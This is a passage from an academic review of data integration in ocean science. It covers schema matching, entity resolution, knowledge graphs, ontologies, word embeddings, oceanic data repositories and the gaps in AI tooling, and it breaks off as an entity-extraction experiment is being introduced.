processes in ocean science and how artificial intelligence can support these efforts. To demonstrate the implications of having ocean-science-specific-AI tools, we then describe and provide results from an automated entity extraction task on oceanic datasets. ## 2. Background and definitions Before we dive into the use of artificial intelligence for data integration in ocean sciences, we review data integration (DI), artificial intelligence (AI), and the use of AI techniques in DI. ### 2.1. Data integration DI is the process of combining two or more datasets. Datasets are collections of structured data described by a data description, also known as a schema. A dataset may be simple as a table, with rows as data and the header row as a schema, or complex as a netCDF (UNIDATA, 2019) file containing numerical matrices. Figure 1 reviews the five components of the DI process. Schema matching (1) aligns two or more schemas to find correspondences between them (see survey by Shvaiko and Euzenat, 2013 and books: Gal, 2011; Bellahsene et al., 2011). Schema mapping (2) operationalizes these correspondences into data-transformation functions (e.g., Alexe et al., 2011). Entity resolution (3) is the task of identifying different instances related to the same entity (see surveys Papadakis et al., 2016; O’Hare et al., 2019). Entity consolidation (4) is the process of merging all data about the same entity coherently (e.g., Hogan et al., 2012). An orthogonal but crucial component of the DI process is data cleansing (5), which can be applied to both the original data and the merged dataset (Abedjan et al., 2016). Figure 1 The process of data integration. The data integration process takes two datasets and combines them into a unified dataset by performing five composable tasks. Schema matching (1) aligns the schemas of the two datasets. Schema mapping (2) performs any transformations required by the different semantic of the aligned fields. Entity resolution (3) identifies duplicate records, and entity consolidation (4) merges them. Data cleansing (5) can be applied at any point to detect and correct errors. DOI: https://doi.org/10.1525/elementa.418.f1 Note that entity consolidation is designed for database records, where each property has a single value. Most oceanic datasets are comprised of both database-style records recording a dataset’s metadata and a large series of numbers varying over geographical or temporal dimensions. Integrating the numerical component, introduces two new dimensions to the integration process, namely resolution and distance. Numerical analysis and model building requires a continuous set of numbers with the same resolution. For example, satellite images might have a spatial resolution of 1 km and a temporal resolution of one day, while a buoy in the same area and time has a pinpoint spatial resolution but may often lay a few kilometers away from the nearest sea surface image edge, due to cloud cover. To build an integrated model over both sets, one must perform interpolation and extrapolation and assess the reliability of their model given these differences and the methods employed to bridge them. Multi-sensor data fusion techniques (Lesiv et al., 2016; Waltz and Waltz, 2017) have diversified and grown from statistically based methods to more elaborate ML-based methods. In the interest of brevity and focus, we limit the exploration of this task in the rest of this paper, leaving it for future work. Example 1 Schema matching and mapping (Figure 2). A researcher wishes to integrate PANGAEA dataset 759517 (semina and Mikaelyan, 1994) with dataset 2690 stored on EDMED (British Oceanographic Data Centre, 2020). Figure 2 presents the correspondences between the two datasets’ schemas, a result of a manual schema matching process. A note added to the Nitrate field of the PANGAEA dataset identifies this field as actually measuring the sum of nitrates and nitrites, justifying the correspondences to the Nitrite and Nitrate fields in the EDMED dataset. This double correspondence can be converted later to a sum of the two values in the schema mapping process to convert data points from these fields under the EDMED schema to the PANGAEA schema. Figure 2 Schema matching of two oceanic datasets. The figure shows correspondences created by a schema matching process between the schema of an EDMED dataset and that of a PANGAEA dataset. DOI: https://doi.org/10.1525/elementa.418.f2 Example 2 Entity resolution.Consider Table 1 where the same data point is presented from the diatom data integration effort by Leblanc et al. (2012) (first row) and one of its constituent datasets, a supplement to Assmy et al. (2007) (second row). We manually schema-matched and mapped the second row to the first row’s schema; however, it is still unclear if indeed, these represent the same data point. For large datasets, the entity resolution task may be daunting, requiring n2 comparisons where n is the number of records over all datasets. Thus, common approaches perform a process of blocking, where records are grouped by (one or more) shared properties. In our example, these two data points were part of a dataset containing 293,000 data points, of which more than half may be duplicates. To avoid performing 8.6 × 1011comparisons, we could first group records by the longitude, latitude, depth, and date, and then perform comparisons only within each group (block in entity resolution terms). Table 1 Entity resolution: two records mapped into the same schema. DOI: https://doi.org/10.1525/elementa.418.t1 Project ID Cruise or station ID Date Longitude Latitude Name entry EISENEX out of +Fe patch st°108 11-29-2000 20.60 –47.67 Thalassionema nitzschoides <20 μm European iron enrichment experiment in the Southern Ocean (EisenEx) PS58/108-1 (CTD149) 2000-11-29T15:33:00 20.64733 –47.66817 Thalassionema nitzschioides var. lanceolata, biomass as carbon [μg/l] (T. nitzschioides var. lanceolata C) Entity resolution can occur at different levels of granularity and for different entities appearing in the dataset. The example given above identified the same data item in the two datasets, similarly, the authors were required to resolve different diatom species described differently. In the authors’ own words: “In total, 1364 different taxonomic entries were found, but were reduced to 727 different taxonomic lines….” ### 2.2. Artificial intelligence Kaplan and Haenlein (2019) define AI as: “a system’s ability to interpret external data correctly, to learn from such data, and to use those learnings to achieve specific goals and tasks through flexible adaptation”. The definition encompasses three core aspects of AI systems. Interpretation of external data requires reasoning, i.e., deriving conclusions from raw inputs using an internal representation of knowledge. Learning from data is the ability to change a system’s internal model based upon examples. Adaptation means the system can perform actions that change according to a change in the internal representation. In the following we describe the first two core aspects and their supporting technologies. The third aspect targets autonomous agents, such as robots, and game-playing (e.g., Silver et al., 2016), which are not relevant to the task of data integration and therefore are not addressed further. #### 2.2.1. Knowledge representation and reasoning systems Allowing computer software to reason requires a way to represent and store large amounts of knowledge, and systems able to query knowledge and reason over it. One of the most mature approaches, backed by substantial commercial and academic effort, is that of the Semantic Web as envisioned by Berners-Lee and Hendler (2001). Under this conceptual model, knowledge graphs (KG) have become a standard for representing facts. As their name suggests, KG are a network-based representation, where entities and literals are nodes, and predicates or relations are the edges. Example 3 In Figure 3, a knowledge graph fragment presents our knowledge about a data point from a dataset (Semina and Mikaelyan, 1994) stored on PANGAEA. The dataset entity (Hydrolog…) is connected via the predicate gl:hasProject to a literal describing it. The data point entity (Temp) is connected via a predicate gl:hasDataset to the dataset entity describing the fact that the former is a component of the latter. Figure 3 An example knowledge graph. In the figure, a graph fragment with some of the data from Semina and Mikaelyan (1994) is presented in machine-readable manner by using well-defined ontological and schematic properties that have well-defined relations to other properties. These definitions and properties allow integrating these data with data from other datasets. Boxes represent entities, quoted strings are literals, and edges represent predicates that connect a subject (entity) to an object (entity/literal). Prefixes denote the ontology/schema in which the property/class are defined, with rdf denoting the resource description framework (RDF) schema (https://www.w3.org/TR/rdf-schema/), gl denoting the geolink ontology http://schema.geolink.org/), and pan denoting the PANGAEA schema. The entity Temp represents a data point and is connected to its parent dataset via a gl:hasDataset predicate. The data point is connected to the collection time via a gl:hasCollectionDate predicate, and the dataset is connected to its temporal coverage through the predicates pan:startDateTime and pan:endDateTime. Both entities (i.e., data point and dataset) are connected to their ontological classes via an rdf:type predicate. The dataset entity is connected to a literal describing its project. DOI: https://doi.org/10.1525/elementa.418.f3 In general-purpose knowledge graphs such as Wikipedia-based DBpedia (Auer et al., 2007), entities may represent people, places, and abstract things, such as events, while literals represent single pieces of information such as names, titles, and dates. Ontologies provide a conceptualization of the domain (or domains) described by the knowledge graph, adding entailment mechanisms such as the ability to group entities into a class, create same-as links between entities, equivalence relationships between classes, and denote predicates as sub-properties. For example, both entities in the example above are connected via rdf:type predicates to their ontological classes. These two entities and the predicates prefixed with gl: are defined in the GeoLink base ontology (Krisnadhi et al., 2015). The definition of an rdf:type is specified in the resource description framework (RDF) and can be found at https://www.w3.org/TR/rdf-schema/. Querying information represented as a KG is often done using SPARQL (Prud’hommeaux and Seaborne, 2008), a data retrieval language enhanced with semantic inference constructs. #### 2.2.2. Machine learning Endowing software with the ability to learn from examples has been studied extensively over the past 60 years. ML has been used to automate tasks over the entire expanse of the human endeavor from predicting relations in knowledge graphs (see review by Nickel et al., 2016) to forecasting solar radiation (Voyant et al., 2017). Machine learning techniques can be broadly divided into two types, supervised and unsupervised by the type of input provided to the learning algorithm. Unsupervised learning techniques provide the learning algorithm with a large collection of items sampled from the target population and some target metrics to assess the quality of the task result, leaving the algorithm to attempt and optimize these quality criteria. Classic examples include clustering techniques such as K-Means (Hartigan and Wong, 1979). The effectiveness and applicability of using unsupervised techniques to learn a representation have increased significantly with the appearance of large amounts of user-generated content on the Internet. For more details, see the seminal paper on the unreasonable effectiveness of data by Halevy et al., (2009). A similar opportunity exists in oceanic sciences with the increasing availability of large amounts of autonomously collected and remotely sensed data (see Durden et al., 2017 for a review). Supervised learning techniques require a (hopefully large) set of tagged examples. For example, to identify the semantic information conveyed by a set of numbers representing the pixels in a picture, a supervised ML algorithm requires a set of pictures labeled as cats, another labeled as dogs, etc (Russakovsky et al., 2015). Similarly, to identify people and places mentioned in a text, an ML model requires sentences where they are clearly labeled as such. Given a metric to which the ML’s prediction can be compared to the real tag, the ML algorithm can alter its internal representation to achieve better results on the task at hand. For example, using a quadratic loss metric, calculated over the distance between the final result vector and the expected one, is common in computer vision tasks. However, obtaining tagged examples is often difficult and expensive, as it requires humans, often experts, to tag the examples. Furthermore, one needs to obtain a set of examples which is representative of the target task. More often than not, the examples on which ML-models are trained are those for which gathering information is more convenient than representative. #### 2.2.3. Information extraction The ability of AI systems to obtain information from raw data relies upon three fields of research. Computer vision (e.g., Krizhevsky et al., 2017) aims to extract meaning from images and video, (textual) information extraction focuses on text (e.g., Martinez-Rodriguez et al., 2020), and audio (speech) recognition (e.g., Hinton et al., 2012) converts sound into more meaningful information such as text and emotion markers (Schmidt and Kim, 2011). ### 2.3. AI in data integration #### 2.3.1. Ontology-based data integration and access Taking advantage of the AI knowledge representation and inference mechanisms, ontology-based data integration (OBDI) uses ontologies to consolidate several heterogeneous sources into one source (see review by Ekaputra et al., 2017). For example, if the schema in one dataset contains the specific instrument (e.g., CTD/Rosette) and in another the instrument type (e.g., Cast), we could use the hasType ontological construct to integrate them. In many cases existing data sources are not linked to an ontology, rendering OBDI impossible. Ontology-based data access (OBDA) is an alternative model that provides access to the data layer through a declarative mapping between autonomous data layers and a domain-specified ontology (Xiao et al., 2018). A typical development process of an OBDA system for a project that has a standard, non-ontological database will contain the following steps. (a) Create an ontology of domain-specific user knowledge. (b) Write mapping that connects (usually through SQL queries) the ontology to the project’s database. (c) Write a query using ontology’s vocabulary as a semantic query language query, such as SPARQL. (d) Build an OBDA system framework that automatically rewrites the SPARQL query to the query language in which the project’s database operates. #### 2.3.2. Word embeddings Early work in DI heavily relied upon measures such as Jaccard similarity (e.g., He and Chang, 2006) and n-gram techniques (e.g., Do and Rahm, 2002) to ascertain if two strings are similar. However, syntactic methods ignore the semantics, or meaning, of words. Such techniques can find plane and airplane to be similar, but not plane and aircraft. To overcome this weakness, thesauruses such as WordNet, and later Wikipedia, were introduced. However, these techniques required accurate spelling and were often baffled by technical terms and abbreviations. The appearance of word embeddings has revolutionized the approach towards word, phrase, and sentence similarity. Word embedding was originally designed to convert text to the numerical representation required by DL techniques. The technique represents each word in the vocabulary with a d-dimensional vector of real numbers w∈ℝd. Word embedding has been extensively used in AI applications as an underlying input representation that serves as a word dictionary and enables better capture of the semantic meaning of the word (Levy et al., 2015). The following hypotheses have been noted (Bolukbasi et al., 2016). (a) Vectors of words of similar meaning tend to be closer. (b) The vector differences between vectors representing word embeddings have been shown to represent relationships between words. A famous example is the male/female relationship captured by the word2vec implementation of word embedding, where Mikolov et al. (2013) showed that $\stackrel{\to }{\mathit{\text{King}}}-\stackrel{\to }{\mathit{\text{Man}}}+\stackrel{\to }{\mathit{\text{Woman}}}\approx \stackrel{\to }{\mathrm{Queen}}$. Thus, a word would be embedded in a high-dimensional space as a vector, and a sentence became a collection of such vectors. Word similarity now becomes a problem of vector similarity. Useful embeddings are those that place similar words close to each other in this high-dimensional space. Embeddings are learned from large collections of text, in an unsupervised manner. Thus, they can be fine-tuned to a specific domain by retraining some of the embeddings on a collection of domain-representative documents. Popularized by Word2Vec (Mikolov et al., 2013), recent methods include GloVe (Pennington et al., 2014), Flair (Akbik et al., 2018), and BERT (Devlin et al., 2019). The latter two use character-based embedding, which can also overcome spelling and abbreviation issues. #### 2.3.3 Machine learning for data integration The use of machine learning for schema matching had been pioneered by Doan et al. (2000), followed by work by Gal and Sagi (2010). In both cases, machine learning was used to learn an ensemble model or method to combine the results of multiple matchers by training the ensemble method on the results of previous matching attempts. Sagi and Gal (2013) took this method one step further by learning to adapt the ensemble weights according to the results of the actual matching performed at run-time. Thus, the features upon which their model was trained were not the choice of matchers, but rather the structure and various counting statistics of the match result. Recently, word embeddings were used to enhance the effectiveness of schema matchers by Fernandez et al. (2018). ML techniques have been used for entity resolution as well. Kenig and Gal (2013) used an unsupervised ML technique called maximal frequent item-sets (MFI) to learn the optimal clusters in which to search for duplicates. Sagi et al. (2017) expanded upon this work by training an alternating decision tree model (Freund and Mason, 1999) to classify pairs within the blocks to matched and unmatched entities. Recent work, such as by Ebraheem et al. (2018), utilizes word embedding to create semantically similar clusters as well as recommend matched pairs. Data tamer (Gubanov et al., 2014) uses ML for entity consolidation by predicting which data item is most likely to be relevant. ## 3. Data integration in ocean science In this section, we formalize the data integration process for oceanic datasets. Under this formalization, we can compare similar tasks and examine tools employed in support (or in relief) of the extensive manual labor otherwise required. After describing each step, we review current work in ocean science and list the remaining gaps accompanied by specific directions for future work. A data integration project can be described as having three major phases (Figure 4, top layer). In the Discovery phase, the list of possible candidate datasets for the project is compiled. In the Merge phase, candidate datasets are harmonized semantically, computationally, and geographically to form one large and coherent dataset. In the Evaluate/Correct phase, the results are analyzed to assess quality, coverage, and bias, and appropriate corrections are made to support assertions made over the data. Figure 4 The three phases of the data integration process, and their application in ocean science. The top layer describes the process: in the discover phase, a list of candidate datasets with possible relevancy to the project is compiled; in the merge phase, candidate datasets are harmonized semantically, computationally, and geographically to form one large and coherent dataset; in the evaluate/correct phase, an analysis of the resulting dataset is performed to assess quality, coverage and bias, followed by appropriate corrections that are made to support assertions made over the data. The middle layer shows how data integration technologies support the process. OBDA and OBD stand for ontology-based data access (A) and integration (I) respectively. The bottom layer contains three AI technologies/enablers that support the data integration technologies. Full-colored rectangles and trapezoids represent technologies/enablers in current use. Outline-colored-only shapes represent technologies and enablers that are not currently in use in ocean science data integration. Additional gaps are listed as lower-case letters corresponding to the gaps listed in Table 3. DOI: https://doi.org/10.1525/elementa.418.f4 In the following sections, we describe these phases in detail, further dividing them into distinct steps. Although the integration process described holds whether done manually or automated, we point out how the DI technologies described in Section 2 can be used to automate the different steps, allowing to scale such projects and integrate large amounts of data. Where appropriate, we describe how AI technologies can in-turn support the DI processes. The bottom two layers of Figure 4 summarize these supporting relationships. ### 3.1. Discover Data discovery is the phase where candidate datasets are collected to fit a set of study parameters. For example, Luo et al. (2012) searched for datasets containing sampling of marine N2 (dinitrogen) fixing organisms. Similarly, Wang et al. (2017) focused their efforts on geochemical data. The process of data discovery can be divided into three distinct steps, namely, search, link, and identify, described below. #### 3.1.1. Search In the search step, a list of candidate research is collected. Search is performed on repositories or through portals that provide access to multiple repositories, hereafter referred to as data sources. Data sources may contain either textual descriptions of studies (i.e., scientific papers) or the datasets themselves. Google Scholar is an example of a scientific portal to study descriptions, while PANGAEA is a repository of datasets. When searching for relevant research, users use search tools provided by the data sources. These tools can be classified into one of three types of interfaces. Key word queries comprise a sequence of terms of which at least one should be present in the dataset for it to be returned in the results. Ontological queries rely on well-defined ontological terms such as organism species or molecular compounds, which the user specifies together with logical constraints and entailment allowances to form a logical statement. Each candidate result must satisfy the logical statement to be returned. Parameter queries rely on metadata associated with the research, such as the publication date or the geographical location of the samples collected. Queries are formed by defining restrictions and combining them using simple logical operators (and/or/not). To exemplify the difference between ontological search and parameter search, consider the following. Example 4 A researcher is interested in datasets containing measurements of phytoplankton biomass, among other parameters. In a parameter search, that researcher would be required to search for all possible subgroups and types of phytoplankton, such as diatoms, Fragillariophyceae, and Coscinodiscophyceae, and then collate the results. In an ontological search, the researcher can simply ask for all diatoms and specify that they wish for all sub-species as well, then receive all datasets containing the biomass of a species present in the taxonomic tree under diatoms. However, to support such a search, each parameter defined over a dataset needs to be aligned correctly with a comprehensive ontology, a task that is daunting when done retrospectively over large collections of datasets. Table 2 provides a partial list of data sources, oceanic research portals and repositories current to January 2020, their type (R stands for Repository and P for Portal), and the extent to which they support the search tools described above (all data sources listed provide key-word search). A notable omission from this list is the set of commercial cloud services participating in NOAA’s Big Data Project (National Oceanic and Atmospheric Administration, 2020a). Access to this data source is rudimentary, and the number of datasets provided is limited. Table 2 Examples of oceanic data sources. DOI: https://doi.org/10.1525/elementa.418.t2 Data source Typea Content type Ontological support Searchable parameters (excl. key words) ARGO R Float No Date, geo-coordinates BCO-DMO R Underway, cast, float No Date, geo-coordinates COPERNICUS P 2D/3D images, cast, float No Date, geo-region, parameter name EDMED R Underway, cast, float Yes Date, geo-region, geo-coordinates, parameter (ontology), instrument (ontology) Global DMS R Underway No Date, geo-coordinates Google dataset search P All No None IsraMar R Cast No Date, geo-coordinates, parameter name NCEI LAS R Cast, underway, 2D image, radar, float No Date, geo-coordinates PANGAEA R Cast, underway, float No Date, geo-coordinates, geo-region, instrument SeaBass R Cast, 2D image No Date, geo-coordinates, instrument World ocean database R Cast, underway, 2D image, radar, float Yes Date, geo-coordinates, instrument, parameter name, bio-species (ontology) Data One P All Yes Date, Geo-coordinates, instrument, parameter name, bio-species (taxonomy) aR: data repositories. P: portals. Portals provide access to data from multiple repositories. Taxonomies are widely used in the ocean sciences (Claramunt et al., 2017). Some examples are World Register of Marine Species (WoRMS Editorial Board, 2020) that holds a detailed taxonomy of marine species, AlgaeBase (Guiry and Guiry, 2020), a global algal database, and FishBase (Froese and Pauly, 2020). An ontology is an explicit specification of a conceptualization that defines the terms in the domain and relations among them (Gruber, 1995). All ontologies use some form of vocabularies in order to express terms and specify their meanings (Uschold, 1998). Similarly to taxonomies, they adopt a classification structure. However, ontologies add properties for each class and a set of axioms and rules that allow reasoning and full domain conceptualization (Zeng, 2008). Leadbetter et al. (2010) provide a systematic review of ontologies for the maritime domain. A few notable mentions include the NASA Semantic Web for Earth and Environmental Terminology (SWEET; Ashish, 2005), which hosted over 6000 concepts in 200 separate ontologies as recently as 2018, but since 2019 has been removed from public access. MarineTLO is a top-level ontology for the maritime domain (Tzitzikas et al., 2013) that contains information about marine species, ecosystems, and fishers. Significant among these efforts is OceanLink/GeoLink, a large-scale project that aims to improve discovery, access, and integration (Figure 4) of interdisciplinary data in the oceanographic domain (Narock et al., 2014). The ongoing project enables the discovery of integrated data from multiple repositories by creating an integrated knowledge discovery framework on top of those repositories. The project utilizes semantic web technologies, particularly ontology design patterns (ODPs; Gangemi, 2005) and a SPARQL endpoint (accessible at data.geolink.org/sparql) for semantic querying. Additional repositories supporting OBDA through a SPARQL endpoint are the European Directory of Marine Environmental Data (EDMED) (at https://edmed.seadatanet.org/sparql/), and the British oceanographic data centre, NERC SPARQL endpoint (at http://vocab.nerc.ac.uk/sparql/). Although GeoLink’s ontologies provide extensive coverage of the domain, they are far from complete. In some cases, publishing a repository’s data in GeoLink is not possible due to missing concepts or a required but tedious schema-mapping process that the authors do not wish to undertake. In those cases, the remainder of the data not described by the GeoLink ontologies is published according to the provider’s own schema (Krisnadhi et al., 2015). Specifically, some of the more fine-grained patterns are not fully described. For instance, in the marine biology domain, integrating data according to taxonomy can be very useful. Similarly, for measurements of plankton data such as biomass, integrating data according to plankton group size or kind can be beneficial. Such a taxonomic relation exists in the MarineTLO ontology and in WORMS but is missing in GeoLink. Another example is the lack of ontological representation of ocean basins and seas such as in SeaVoX (Claus et al., 2014). The GeoLink class Place can be related to a PlaceType=‘ocean’ but no deeper hierarchical representation is supported. For example, if the discussed place is set to ‘The Red Sea’ and some other data point is given with the place set to ‘Gulf of Eilat’, then the correct integration could not be made with GeoLink. Even if the ontological issues are resolved, realigning existing data with Geolink, or a combination of the existing ontologies, would require an extensive mapping effort that would benefit from AI-supported schema matching technologies. Thus, scaling the search process by using OBDA would allow the collection of a large number of datasets already aligned by the domain ontology over the parameters used to perform the search step. However, using OBDA requires the domain ontology to cover all aspects of the data to be integrated, and all datasets in the repository/portal to be completely aligned with the ontology. As detailed above, current repositories and data portals mostly use taxonomies rather than ontologies, combining parameter and keyword search. Existing domain ontologies have limited coverage and cross-alignment. In the abscence of perfect OBDA systems, the merge phase is required to integrate the different datasets with their mismatched schemas and data descriptions. The linking process entails connecting between studies and their datasets (and vice versa) and between datasets, which are derived from one or more other datasets. The prevalence of object identifiers such as DOI, coupled with the increasing tendency of authors and publishers to provide publicly available datasets together with submitted papers, has made this process easier. However, the linking process is still a largely manual process where researchers piece together the papers describing the data and vice versa. Furthermore, the linking process may require a finer resolution, as the following story published by Data One (Data Observation Network for Earth, 2020) exemplifies. “A third dataset looked particularly promising for use in a global study, but its PI had neglected to include units of measurement in the dataset. Unwilling to give up on a potentially great contribution, Eileen decided to do some detective work and pull up the associated publication, looking for any clues that might lead to a breakthrough. At long last, Eileen found a single table referencing the units for a particular column of data. With the units finally established, she worked backwards to make sense of the data – but at a cost of several hours’ work.” Thus, even though the researcher had succeeded in linking the dataset to its corresponding publication, more refined work was needed to link specific parameters to their descriptions. This refined linkage can be delayed until the merge phase where the extended data descriptions can be used to better align the schemas of the integrated datasets with the domain ontology. #### 3.1.3. Identify Even with the existence of DOI, in many cases, the same data may appear in several datasets by being used for several studies. Thus, researchers are required to meticulously read the data collection procedures of every study used to make sure that their data do not contain duplicate measurements and identify each dataset or even data point in a unique manner. The implicit danger of duplicates is that they can create an inherent bias in the results towards duplicated data. In oceanic repository integration, this process is further complicated by the fact that some records represent a collection of datasets that previously may have been published separately as well. Thus, DOIs provide grounding of datasets to fixed, reliable repository mentions, and can be used for citation and referencing purposes. However, they do little to resolve issues such as data overlap, republication, and bundling that may manifest themselves when combining several datasets. Resolving duplicate datasets and overlapping data points using entity resolution (see Section 2.1) is an obvious use of AI-supported DI tools. As entity resolution tools rely on similarity comparisons, they would also be benefited by ocean-science-specific word embedding to allow semantic comparison. ### 3.2. Merge Once a collection of datasets has been assembled, the merge phase can commence. To facilitate this process, one must create a mediated schema to which all other datasets are matched and subsequently mapped or use an ontology to which the datasets’ schemas are mapped to facilitate OBDI. We divide this phase into three distinct steps, described in detail below. In the match step, correspondences are found between each attribute in every dataset’s schema and the mediated schema/ontology. In the map phase, a function mapping from the semantics of the source dataset’s schema to the mediated schema is constructed. In the fuse step, some datasets are interpolated over space/time to create a continuous and uniform space of measurements. #### 3.2.1. Match In the match step, researchers align the different attributes/parameters in the dataset’s schema with the mediated schema/ontology. To do so, the researcher must often consult the data descriptions of each parameter, which are either listed with the dataset in the source repository or described as part of the methods section of the accompanying paper. If an exact match cannot be found, the researcher must decide whether to disqualify the parameter or even the whole dataset from inclusion in the study or extend the mediated schema/ontology to accommodate the new dataset. A wealth of literature and tools exist in the general database and knowledge-base domains to facilitate schema matching and ontology alignment. Among these are the use of acronym expansion (e.g., Sorrentino et al., 2010), a corpus of previously discovered correspondences (e.g., Madhavan et al., 2005), and instance information (e.g., Chen et al., 2018). However, to the best of our knowledge, none of these were applied to match ocean science dataset schemas, neither pair-wise nor to mediated schemas or ontologies. Zhou et al. (2018) proposed a complex real-world ontology alignment benchmark made on two separate GeoLink dataset ontologies. However, even this unique example attempts to automate ontology alignment and not automatically match dataset schemas against these ontologies. Furthermore, none of the existing automated schema matching and mapping tools is interoperable with the common ocean science meta-data formats. Schema matching can be supported further by AI-based information extraction technologies, such as described in Section 2.2.3, by extracting data descriptions from the research papers linked to the datasets. These data descriptions can be used to improve schema matching performance, thus utilizing this unique aspect of ocean science datasets. #### 3.2.2. Map In some cases, the semantics of the data in one source are slightly different from that of the mediated schema/ontology. For example, a dataset may contain two fields, one representing the latitude and another the longitude, while in the mediated schema, there exists a single coordinates field that combines the two. In other cases, the mediated schema may contain a field that represents a calculation performed over raw data, or the units of measurement may differ between sources. All of these examples, and other semantic differences, require a mapping phase where conversion functions are generated to facilitate data integration according to correspondences found in the matching step. Even more mundane, but crucial is the need to map from the source format to that of the central repository used to collect the data from the different datasets. For example, the data may be received in XML format and the repository stored in a relational database, requiring format conversion between the two. The use of OBDI facilitates conversion between fields of different datasets by using the encoded conversion logic within the ontology. Thus, for example, the concept of Celsius can be linked to the concept of Fahrenheit by a relation containing a specific bi-directional conversion function. Together with the match step, there is a substantial need for golden-standard tasks and structured benchmarks for ocean science schema-matching and mapping tasks to enable the development and training of automated matching tools utilizing the existing ontologies and vocabularies. Word-embedding-based tools are highly dependent on the domain from which the text used to generate the embedding was collected. Currently absent, a word embedding for the ocean science domain would be an important enabler for AI-based DI tools (see Section 4). The same embedding could be used to enhance information extraction tools to supplement schema matching and mapping processes over datasets with information from their linked papers. As a foundational enabler, providing schema interoperability between the common ocean science data formats and those used by schema matching and mapping tools would open up a plethora of options for practitioners to use. #### 3.2.3. Fuse In this step, researchers need to mitigate problems that emanate from differences in spatio-temporal resolution between the datasets. Thus, one dataset may include measurements of a 50-m depth in increments of 1 m, while another in increments of 10 cm. Decisions must be made on whether to aggregate upwards to lower resolutions, omit incompatible resolutions or interpolate the data to align the resolutions, or fill out missing data in some areas (e.g., in Kaplan and Lekien, 2007, due to faulty sensors). As previously mentioned, we leave the review and critical analysis of existing work in data fusion to future work. In addition to spatio-temporal fusion, this step entails an additional effort of resolving duplicate and overlapping data points. While overlapping and duplicate datasets could possibly be identified at the identify step, identifying these cases at the datapoint level requires all fields to be aligned by the match and map steps. Here, again, we can use entity resolution to automate this task (see Example 2). ### 3.3. Evaluate and correct After, or sometimes during, the data integration process, researchers must evaluate the integrated dataset to facilitate inclusion/exclusion decisions and to report quality and descriptive measures upon publication. The evaluation process often addresses one or more of the following issues. #### 3.3.1. Quality Detecting data errors is often done using non-specific numerical and statistical tools; for example, by excluding all outliers, defined as values over two standard deviations from the mean. This step can be mostly aligned with the existing DI process of data cleansing (see Section 2.1). To identify, quantify, and possibly correct errors in data via interpolation, techniques appropriate to the data type (e.g., Gupta et al., 2014) should be used. Here, we refrain from performing a detailed review of the extent of AI used in these processes over ocean science data in the interest of brevity and focus. A non-generic approach that could provide more accurate results can be obtained by reasoning over accumulated knowledge tied to the domain ontologies. For example, O’Brien et al. (2013) needed to remove individual samples of coccolithophore (a type of plankton) where the species was reported as Thoracosphaera heimii, as this species was reclassified out of the coccolithophore family after the original data were collected. This removal of misclassified samples could be done automatically by defining a logical rule over the global ontology. Furthermore, among the tools that can support a researcher in the process of evaluating the data quality of a given dataset, information extraction can provide substantial assistance. For example, information extraction tools can be used to extract and categorize quality control processes and pre-processing techniques used in a specific dataset and a collection of datasets from the scientific text describing them. Once extracted, this information can be attributed to the dataset, allowing researchers to employ data cleansing methods and filter out less trustworthy processes or, conversely, to select only those data points on which the required type of pre-processing was performed. #### 3.3.2. Coverage and bias An important tool in the evaluation of result validity and relevance is the analysis of coverage and bias. Data are collected in different geographical regions, depths, and seasons, and using different instruments. When presenting results, one must either correct them for inherent biases, exclude under-represented partitions, or provide a list of caveats and analyses regarding the coverage and bias with respect to the general distribution over each dimension (geographical/temporal/other). The ability of an ocean scientist to make use of an AI-based integrated dataset strongly depends on accurate representation of possible biases and uncertainties associated with the DI process. This point is emphasized for the case of climate science studies, where uncertainties result from a wide range of sources, as a limited number of available measurements, especially for rare events (IPCC, 2014). Existing portals/repositories provide mechanisms to filter by time/geo-location or map a collection of datasets over a world map. These mechanisms allow researchers to assess the coverage of their collection of datasets if they are from the same portal/repository. Evaluating coverage and bias over other dimensions, such as instruments used and bio-diversity, is dependent on the ability to perform OBDA, the coverage of the OBDA’s ontology, and the extent of information extracted from the scientific description and aligned with the ontology. ### 3.4. Summary Figure 4 presents an overview of how DI technologies (in purple/purple outline, middle layer) could support and scale the different steps and phases of the ocean science data integration process. However, to make these technologies work, some AI technologies and enablers are needed. These are listed in the bottom layer of the figure as trapezoids and are connected to the DI technologies which they support. Ontology-based technology features heavily, as it effectively combines the wealth of accumulated knowledge of the oceanic domain with AI-supported DI technologies. DI technologies and AI technologies/enablers that are missing today are drawn with a white background. Table 3 presents a list of existing and missing enablers for DI in ocean science. Some of these enablers are presented in the figure, while others enable the processes in the figure. The gaps in the table are annotated with lower-case letters that are repeated in Figure 4 where they are positioned on the DI technology they enable, on the AI technology they enable, or on the support a specific AI technology provides to a DI technique. Note that while the technologies and enablers reviewed in Table 3 are listed by phase, some of them support multiple phases. For example, entity resolution is a DI technology that can be used to identify duplicate datasets prior to their integration in the identify step and to identify duplicate data points in a merged dataset as part of the fuse step. Table 3 Missing and existing AI enablers for DI in ocean science. DOI: https://doi.org/10.1525/elementa.418.t3 Phase Existing enablers Remaining gaps Discover (1) Several ocean science ontologies. (2) OBDA to major dataset repositories. (3) Extensive use of DOI. (a) Incomplete conceptual coverage of existing ontologies. (b) Incomplete conceptual alignment between ontologies. (c) Alignment of historical datasets with existing ontologies. (d) AI-based tools for creators to align their schemas with existing ontologies. Merge (4) An ocean science ontology alignment benchmark. (e) Entity resolution oceanographic benchmarks for both dataset and data point levels. (f) Entity resolution tools utilizing ocean science word embeddings. (g) Ocean data format interoperability with existing tools. (h) Schema matching/mapping oceanographic benchmarks. (i) Matching and mapping tool utilizing semantics encoded in existing vocabularies and ontologies. (j) Word embedding for ocean science domains. Evaluate (5) Existing work on data cleansing/anomaly detection. Not reviewed in detail. (6) Geo-location mapping in data-portals (k) Annotated datasets, tools, and benchmarks for extracting data quality and pre-processing descriptions from scientific text (l) Extension and refinement of oceanographic ontologies with respect to coverage, bias and quality queries. ## 4. Empirical evaluation: the impact of AI infrastructure In the following section, we provide some empirical evidence to the necessity of creating the AI infrastructure required to support DI efforts in ocean science. As described in the previous sections, both AI-supported entity resolution tasks in the discovery phase and schema matching tasks in the merge phase could benefit from adding relevant information from unstructured sources accompanying the data. In Example 1, the fact that the Nitrate field represented the sum of nitrate and nitrite was mentioned in the column comments. The ability to retrieve this information from the comment, codify and align it with a domain ontology, relies on AI-software being able to recognize domain-specific information in unstructured text. Domain-specific datasets, benchmarks, and word embeddings are needed to bridge this gap (see Table 3). To exemplify the potential benefits of having this infrastructure in place, we train a state-of-the-art information extraction system on ocean science data descriptions and report on the performance gains on an information extraction task. ### 4.1. The task: extracting data descriptions using information extraction techniques A standard information extraction task, named entity extraction (NER) aims to find entity mentions in unstructured text and map them into predefined classes. These entities can then 